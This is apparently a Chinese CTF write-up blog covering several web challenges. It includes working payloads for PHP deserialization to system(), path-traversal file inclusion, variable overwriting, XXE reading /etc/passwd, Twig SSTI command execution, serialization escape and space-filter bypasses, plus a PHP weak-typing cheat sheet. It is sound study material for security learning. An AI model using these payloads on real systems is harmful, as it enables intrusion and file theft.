如果我们想通过传参直接命令执行查看flag,大概率是不行的,因为过滤了绝大部分函数,而且得经过gettime这个成员函数才能使用函数,所以经由这一点,我们可以考虑通过类的__destruct()里的gettime()来调用函数,这里并没经过过滤。所以使用序列化来进行解题
构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  

 class Test {
        var $p = "ls ../../../tmp/flagoefiu4r93";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
$a = new Test();
echo serialize($a);
?> 

O:4:"Test":2:{s:1:"p";s:29:"ls ../../../tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

这里略过了在目录里查找flag的过程,直接给出了最终payload
常用命令小结:

system(‘ls’) : 列举当前目录下的所有文件

system(“find / -name flag*”):查找所有文件名匹配flag*的文件

system(“cat $(find / -name flag)”):打印所有文件名匹配flag*的文件

思路总结:

查看网页有何异常–》查看源码找线索–》猜测传递的参数作用是什么

php中file_get_contents函数可以获取指定文件的内容

审计一下获取的源码,查找其中可利用的点,本题是利用了php的反序列化。

看网上还种解法是根据命名空间绕过黑名单

具体如下fun=\exec&p=ls

接着就直接拿flag

func=\exec&p=cat $(find / -name flag*)

原理不是很懂,我感觉绕不过去,暂且放这里记录下

[BSidesCF 2020]Had a bad day

打开就一个网页,能够查看狗狗和喵喵的照片,翻了下没啥东西

图片

但每次点击查看图片时,url新增的参数category=经过我们这些题的训练,可以考虑是sql注入或者文件包含,这里先文件包含

图片

回显base64,说明能查看主页的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
    <?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

又是常见的strpos,简单提一下就是从第一个参数中找第二个参数是否存在,如果存在就返回第二个参数最后一个字符的所在位置,然后用strpos检测传入的参数是否有白名单以内的php页面,有的话就包含,没有就返回上述一段话
构造payload: category=woofers/../flag图片
返回上一级目录

能看到有一个提示,考虑用文件包含直接一把梭

因为这里返回了上一级目录,所以文件包含也要多加一个index目录

图片

返回base64解码得到flag

[BJDCTF2020]Mark loves cat

进去后像是实战环境的博客,日常操作后没找到突破口,就尝试扫描,发现.git文件,githack来一手,获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}





echo "the flag is: ".$flag;

原来我想的是绕过三层if,用echo来输出flag,但是看了wp还是自己想复杂了,虽然变量覆盖挺简单的,但是稍不注意就绕进去了,还把自己看困了(属于是小fw了
0x01 三解

利用handsome

/?handsome=flag

通过如下

$handsome=$flag

从而成功获取flag

为满足条件退出追加两个参数 x=flag&flag=x

1
2
3
4
5
6
7
8
9
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
        
exit($handsome); //exit显然能利用
    }
}

这里exit$handsome就等同于输出$flag,然后为了能够exit即通过判断,就要使传进去的flag的值等于x,而传进去的变量将作为x输出为y就是x的值不能为字符串flag(果然有点绕..)
payload:?handsome=flag&flag=x&x=flag

利用yds

比较简单直接yds=flag就行

1
2
3
4
5
6
7
foreach($_GET as $x => $y){
    $$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
 //如果GET型和POST型中都没有变量flag,则退出
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ 
    exit($yds);
}

不以get和post传flag的值,直接对yds赋给flag的值,第一个foreach就会把$flag赋给$yds,就能输出
利用is

is=flag&flag=flag

1
2
3
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

这个跟第二个一样容易理解,get或者post两者传flag=flag满足判断,get传is=flag,把$flag赋给$is,就能输出了

[强网杯 2019]高明的黑客

图片

进入环境直接给提示了,备份文件在www.tar.gz里

下载文件并解压,里面有大概三千个php文件

随便进一个看看,有一大堆没用的参数,大致猜测要从几千个文件中找可以实现一句话的地方

jio本属实是一头雾水,直接用别的师傅的jio本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import os
import requests
import re
import threading
import time
print('start:  '+  time.asctime( time.localtime(time.time()) ))
#输出当前日期时间
s1=threading.Semaphore(100)
#线程数100
filePath = r"E:\phpstudy\WWW\src"
#为文件地址
os.chdir(filePath)
#改变当前工作目录到指定的路径
#本来的工作目录在D盘,修改到文件所在地址
requests.adapters.DEFAULT_RETRIES = 5
#连接失败后重连的次数为5次,因为如果线程如果太高,可能访问有时会报错
files = os.listdir(filePath)
#列出filePath路径下所有文件名
session = requests.Session()
#保持会话
session.keep_alive = False
#设置连接活跃状态为False
def get_content(file):
    s1.acquire()
#多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。共享数据。
#比如a要访问flag这个参数,但b正在访问,那么先暂停a,等b执行完在执行a。
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
#输出时间
    with open(file,encoding='utf-8') as f:
#以utf-8打开文件
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
#全局正则匹配,读出当前文件的所有get参数
#\$对$转义\[、\'、\]同样是转义,(.*?)以非贪婪模式匹配\' \'内的所有字符串,并分组
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
#全局正则匹配,读出当前文件的所有post参数
    data = {}
    params = {}
#data数组存post参数值,params存get参数名
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
#把所有的get和post参数名以键名的方式赋给data和params,并赋值echo 'xxxxxx';
#赋值echo 'xxxxxx';是为了方便我们判断此参数有没有用。
    url = 'http://localhost/src/'+file
    req = session.post(url, data=data, params=params)
#会话方式,和requests.post访问查不多,但在这里会更快,它不需要不停重新访问。
#一次性请求所有的GET和POST
    req.close()
#关闭会话,释放内存
    req.encoding = 'utf-8'
    content = req.text
#得到所有访问的页面内容
    #print(content)
    if "xxxxxx" in content:
#如果发现存在,则继续挨个访问,并筛选出具体的参数
        flag = 0
#用来判断是get请求成功,则为1,是post成功则为0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
#如果此时flag不为1,则说明get所有参数都不存在
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()
                if "xxxxxx" in content:
                    break
        if flag == 1:
            param = a
#如果flag为1,则记录param为a,也就是此时get参数名
        else:
            param = b
        print('file: '+file+"  and param:%s" %param)
#输出成功的文件名和参数名
        print('endtime: ' + time.asctime(time.localtime(time.time())))
    s1.release()
    #释放锁,开始下一个线程

for i in files:
    t = threading.Thread(target=get_content, args=(i,))
    t.start()
#线程开始

相应的文件夹和参数跑出来直接传参+命令尝试

[NCTF2019]Fake XML cookbook

图片

样子挺像sql注入的,但是根据题目xml可知是xxe外部实体注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE常见利用方式

与SQL相似,XXE漏洞也分为有回显和无回显

有回显,可以直接在页面中看到payload的执行结果或现象。

无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。

随便输入用户名和密码
图片

1
2
3
4
5
6
可以发现有xml实体,尝试构造恶意xml实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

能够读到etc/passwd
图片

按照以往的套路,尝试读取flag

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

获得flag
payload解释:

?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:,引用一般实体的方法:&实体名称;

外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

因为将file:///flag命名为admin,所以下面用&admin。

参考文章:从XML相关一步一步到XXE漏洞

直接进入flag页面,有一个输入框,初步怀疑是sql注入,后来看WP发现是ssti

进行测试,返回1,可以确定确实是ssti

输入{undefined{7*‘7’}},返回49表示是 Twig 模块

输入{undefined{7*‘7’}},返回7777777表示是 Jinja2 模块

输入user={undefined{7*‘7’}},查看返回值,可以确认是Twig模块,经过查询资料,可以发现Twig有通过固定payload,直接拿来打就行

1
2
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

图片

参考资料:关于SSTI注入的一些理解.

[WUSTCTF2020]朴实无华

打开环境显示hack me,网页的title有一个bot,考虑进去robots.txt看看

有一个fAke_flagggg.php,进去看看,给了个假flag,但还是看看其他,在响应头找到了

图片

里面有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
 
 
//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){//inval函数取整
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if($md5==md5($md5))//它的MD5值等于它自身
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}
 
//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){//检测有无空格
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

第一层绕intval
输入的num值要小于2020,加1之后要大于2021,否则就结束,这里主要涉及intval函数绕过,如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串

如果我们传入2e4,则intval(2e4)返回2,intval(2e4+1)返回20001,这样前者小于2020,后者大于2021

第二层绕md5

是一个MD5的弱类型比较,MD5值与自身要“==”相等,比较时会先将字符串类型转化成相同,再比较,而“=== ”在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。

所以这里找一个字符串,使得进行MD5加密前是’0e’开头的,MD5加密后也是’0e’开头的,这样子,就能保证加密前后的值是相等==的了:0e215962017,这样就成功绕过了这一层

,这里md5的payload我看了下大多wp,都是同一个,不知道是不是固定的,暂且记下

看了下有脚本能直接跑出来,不过要跑很久,先记着

1
2
3
4
5
6
7
8
9
10
11
12
13
def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m = md5(text)
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                print('find it:',text,":",m)
                break
        i +=1

run()

第三层绕strstr和str_ireplace
这一层首先用strstr函数限制传入不能有空格,如果传入的值中有cat就会用str_ireplace函数将的at替换为wctf2020,传入的$get_flag变量会被当做系统命令执行。

先看看当前目录有什么东西

图片

这里把cat和空格禁了,我们直接用tac以及之前积累的空格绕过符号绕

比如tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

图片

即得flag

绕过空格的一些方法:

1
2
3
4
5
6
7
8
9
${IFS}
 
$IFS$9
 
<
 
<>
 
{,}

[安洵杯 2019]easy_serialize_php

首先我们要明确的两点

1.反序列化的结果是一串具有特殊含义的字符串

2.反序列化会解开序列化字符串生成相应类型的数据

sample1:

img是一个数组,下标分别是one和two,对应的值分别是flag,test。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
["one"]=>
string(4) "flag"
["two"]=>
string(4) "test"
}

序列化部分:
经过serialize序列化后生成了相应的字符串:

1
a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}

a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。花括号中的s都表示string即字符串
s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4

反序列化部分:

unserialize函数将字符串解析化,用var_dump显示详细信息

可以见到序列化后由$b接收了img数组

接着是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

把重要的代码提出来

1
2
3
4
5
6
7
8
9
10
11
$function = @$_GET['f'];

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

通过分析可以知道,get传参f得到的变量由$function接收
$function发挥作用的代码块,在最下方的判断语句,判断语句中给了提示访问Phpinfo,会在里面看到很多配置信息,可以发现我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。所以可以猜测flag应该要从d0g3_f1ag.php拿。

当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密

变量覆盖:

1
2
3
4
5
6
7
8
9
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

file函数是为了过滤一些黑名单字符串,往下发现unset把session给销毁了,重新赋予了新的值,再调用了extract()
extract() 函数从数组中将变量导入到当前的符号表

sample2:

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失。只剩下_SESSION[flag]=123

1
2
3
4
5
6
7
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

图片

由于有了以上的代码,我们可以进行变量覆盖,直接给session[‘img’]一个预想的值是不现实的,因为session[‘img’]=base64_encode(‘guest_img.png’)后执行的

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

再来看下filter函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

把传入的字符串几个特定字符会替换成空
根据大佬的WP,这里运用了序列化字符逃逸的知识点

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

1
2
3
4
5
6
7
<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

以上就是逃逸概念的大概
如果我们把$_SESSION[‘img’]=base64_encode(‘guest_img.png’)这段代码的img属性放到花括号外边去,然后花括号中注好新的img属性,那么它本身要求的img就被我们替换了(这里就要用到之前的过滤函数)

根据大佬的payload来进行分析:

1
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

后面的base64也就是d0g3_f1ag.php
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}是我们预期的序列化字符

现在的_SESSION存在phpflag和img对应的键值对

1
2
3
4
5
$_SESSION['phpflag']=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空
s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。

两个键值分别被序列化成了

s:7:””;s:48:”;s:1:”1”,即键名为”;s:48:对应的值为一个字符串1.这个键值对只要能绕过就行

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;

键名img对应的d0g3_f1ag.php的base64编码

右边花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全都被遗弃忽略了

然后跑一下payload

可以发现

图片

将目录名(包括斜杠)进行base64加密L2QwZzNfZmxsbGxsbGFn,正好也是20位,应该是题目设置好了的,直接替换原来的就行

最后payload:

get:f=show_image

post: _SESSION[phpflag]=;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

反序列化逃逸:

主要是两个策略,值逃逸和键逃逸,上述方法是键逃逸,这里给出值逃逸

构造一个含有三个键值对的数组,第一个元素的值被过滤后向后延续第二个元素的键

_SESSION[c]=phpphpphpphpphp&_SESSION[d]=;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}

1
a:2:{s:1:"c";s:15:"phpphpphpphpphp";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

再一次经过filter函数处理后变成了

1
a:2:{s:1:"c";s:15:"";s:1:"d";s:57:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

为什么后面还要加个;s:2:"dd";s:1:"a";}。因为加入3中给定的img参数后数组的键值对个数变成了3个即a:3。为了逃逸3必须新加入一个键值对。

系统变量

1
2
3
4
5
6
$_POST // 获取 post 数据,是一个字典
$_GET // 获取 get 数据,是一个字典
$_COOKIE // 获取 cookie
$_SESSION // 获取 session
$_FILE // 获取上传的文件
$_REQUEST // 获取 $_GET,$_POST,$_COOKIE 中的数据

错误控制运算符

PHP 支持一个错误控制运算符:@。当将其放置在一个PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。

变量默认值

当定义一个变量,如果没有设置值,默认为0

$_GET 和 $_POST

1
http://ctf4.shiyanbar.com/web/false.php?name[]=a&password[]=b

如果 GET 参数中设置 name[]=a,那么 $_GET['name'] = [a],php 会把 []=a 当成数组传入, $_GET 会自动对参数调用 urldecode
$_POST 同样存在此漏洞,提交的表单数据,user[]=admin$_POST['user'] 得到的是 ['admin'] 是一个数组。

内置函数的松散性

strcmp

strcmp 函数的输出含义如下:

如果 str1 小于 str2 返回 < 0;
如果 str1 大于 str2 返回 > 0;
如果两者相等,返回 0。
5.2 中是将两个参数先转换成string类型。5.3.3 以后,当比较数组和字符串的时候,返回是0。5.5 中如果参数不是string类型,直接return了

1
2
3
4
$array=[1, 2, 3];
// 数组跟字符串比较会返回 0
//这里会输出 null,在某种意义上 null 也就是相当于 false,也就是判断为相等
var_dump(strcmp($array, 'abc'));

sha1 和 md5 函数
md5 和 sha1 无法处理数组,但是 php 没有抛出异常,直接返回 fasle

1
2
sha1([]) === false
md5([]) === false

弱类型
当一个整形和一个其他类型行比较的时候,会先把其他类型 intval 再比较

intval

intval() 在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval() 不会报错而是返回 0。

1
2
3
var_dump(intval('2')) // 2
var_dump(intval('3abcd')) // 3
var_dump(intval('abcd')) // 0

这个时候 $a 的值有可能是 1002 union…

1
2
3
if(intval($a) > 1000) { 
mysql_query("select * from news where id=".$a)
}

is_numeric
PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。

1
2
3
4
5
6
7
<?php
echo is_numeric(233333); // 1
echo is_numeric('233333'); // 1
echo is_numeric(0x233333); // 1
echo is_numeric('0x233333'); // 1
echo is_numeric('233333abc'); // 0
?>

in_array
in_array函数用来判断一个值是否在某一个数组列表里面,通常判断方式如下:

1
in_array('b', array('a', 'b', 'c');

这段代码的作用是过滤 GET 参数 typeid 在不在 1,2,3,4 这个数组里面。但是,in_array 函数存在自动类型转换。如果请求,typeid=1’ union select.. 也能通过 in_array 的验证

1
2
3
4
if (in_array($_GET('typeid'], array(1, 2, 3, 4))) {
$sql="select …. where typeid=".$_GET['typeid']";
echo $sql;
}

== 和 ===
== 是弱类型的比较=== 比较符则可以避免这种隐式转换,除了检查值还检查类型。

以下比较的结果都为 true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
// 十六进制与整数,被转换为同一进制比较
'0xccccccccc' == '54975581388'

// 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0
1 == '1'
1 == '01'
10 == '1e1'
100 == '1e2'
0 == 'a' // a 转换为数字为 0

// 十六进制数与带空格十六进制数,被转换为十六进制整数
'0xABCdef' == ' 0xABCdef'
'0010e2' == '1e3'

hash 比较的问题
0e 开头且后面都是数字会被当作科学计数法,也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// '0e5093234' 为 0,'0eabc3234' 不为 0

// true
'0e509367213418206700842008763514' == '0e481036490867661113260034900752'
// true
'0e481036490867661113260034900752' == '0'

// false
var_dump('0' == '0e1abcd');
// true
var_dump(0 == '0e1abcd');

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));

如果要找出 0e 开头的 hash 碰撞,可以用如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$salt = 'vunp';
$hash = '0e612198634316944013585621061115';

for ($i=1; $i<100000000000; $i++) {
if (md5($salt . $i) == $hash) {
echo $i;
break;
}
}

echo 'done';

switch
如果 switch 是数字类型的 case 的判断时, switch 会将其中的参数转换为 int 类型。

1
2
3
4
5
6
7
8
9
10
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}

这个时候程序输出的是 i is less than 3 but not negative,是由于 switch() 函数将 $i 进行了类型转换,转换结果为 2。

正则表达式

preg_match

如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

1
2
3
4
5
6
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
// echo('key...')
}

ereg %00 截断
ereg 读到 %00 的时候,就截止了

1
2
3
4
5
<?php
if (ereg ("^[a-zA-Z]+$", $_GET['a']) === FALSE) {
echo 'You password must be alphabet';
}
?>

这里 a=abcd%001234,可以绕过

变量覆盖

extract

extract() 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。

1
2
3
4
5
6
7
8
9
10
<?php  
$auth = '0';
// 这里可以覆盖$auth的变量值
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}
?>

parse_str
parse_str() 的作用是解析字符串,并注册成变量。与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。

1
2
3
4
5
//var.php?var=new  
$var='init';
parse_str($_SERVER['QUERY_STRING']);
// $var 会变成 new
echo $var;

$$ 变量覆盖
如果把变量本身的 key 也当变量,也就是使用了 $$,就可能存在问题。

1
2
$_ = '_POST';
// $$_ 是等于 $_POST

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;

foreach(array('_GET','_POST') as $method) {
foreach($$method as $key=>$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 这个函数会把 $_CONFIG 变量销毁
unset($$key);
}
}

if ($_CONFIG['extraSecure'] == false) {
echo 'flag {****}';
}

unset
unset($bar); 用来销毁指定的变量,如果变量 $bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。

特殊的 PHP 代码格式

以这种后缀结尾的 php 文件也能被解析,这是在 fast-cgi 里面配置的

.php2.php3.php4.php5.php7.phtml

正则检测文件内容中包含 <? 就异常退出,通常的PHP代码就不行了,可以使用这种方式绕过

1
2
3
<script language="php">
echo base64_encode(file_get_contents('flag.php'));
</script>

效果等于 echo ‘a’;

1
<?='a';?>

如果在 php.ini 文件中配置允许 ASP 风格的标签

1
2
3
; Allow ASP-style <% %> tags.
; http://php.net/asp-tags
asp_tags = On

则可以使用该方式

1
<% echo 'a'; %>

伪随机数

mt_rand()

mt_rand() 函数是一个伪随机发生器,即如果知道随机数种子是可以预测的。

1
2
3
4
$seed = 12345;
mt_rand($seed);

$ss = mt_rand();

linux 64 位系统中,rand() 和 mt_rand() 产生的最大随机数都是2147483647,正好是 2^31-1,也就是说随机播种的种子也是在这个范围中的,0 – 2147483647 的这个范围是可以爆破的。
但是用 php 爆破比较慢,有一个 C 的版本,可以根据随机数,爆破出种子 php_mt_seed

在 php > 4.2.0 的版本中,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已由 PHP 自动完成。php 中产生一系列的随机数时,只进行了一次播种,而不是每次调用 mt_rand() 都进行播种。

rand()

rand() 函数在产生随机数的时候没有调用 srand(),则产生的随机数是有规律可询的。具体的说明请看这里。产生的随机数可以用下面这个公式预测:

1
2
# 一般预测值可能比实际值要差1
state[i] = state[i-3] + state[i-31]

可以用下面的代码验证一下

1
2
3
4
5
6
7
8
9
<?php
$randStr = array();
for($i=0;$i<50;$i++) { //先产生 32个随机数
$randStr[$i]=rand(0,30);
if($i>=31) {
echo "$randStr[$i]=(".$randStr[$i-31]."+".$randStr[$i-3].") mod 31"."\n";
}
}
?>

反序列化

__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。__destruct():析构函数,当对象被销毁时会自动调用。__wakeup() :如前所提,unserialize()时会自动调用。

PHP unserialize() 后会导致 __wakeup() 或 __destruct() 的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在 __wakeup() 或 __destruct() 中。

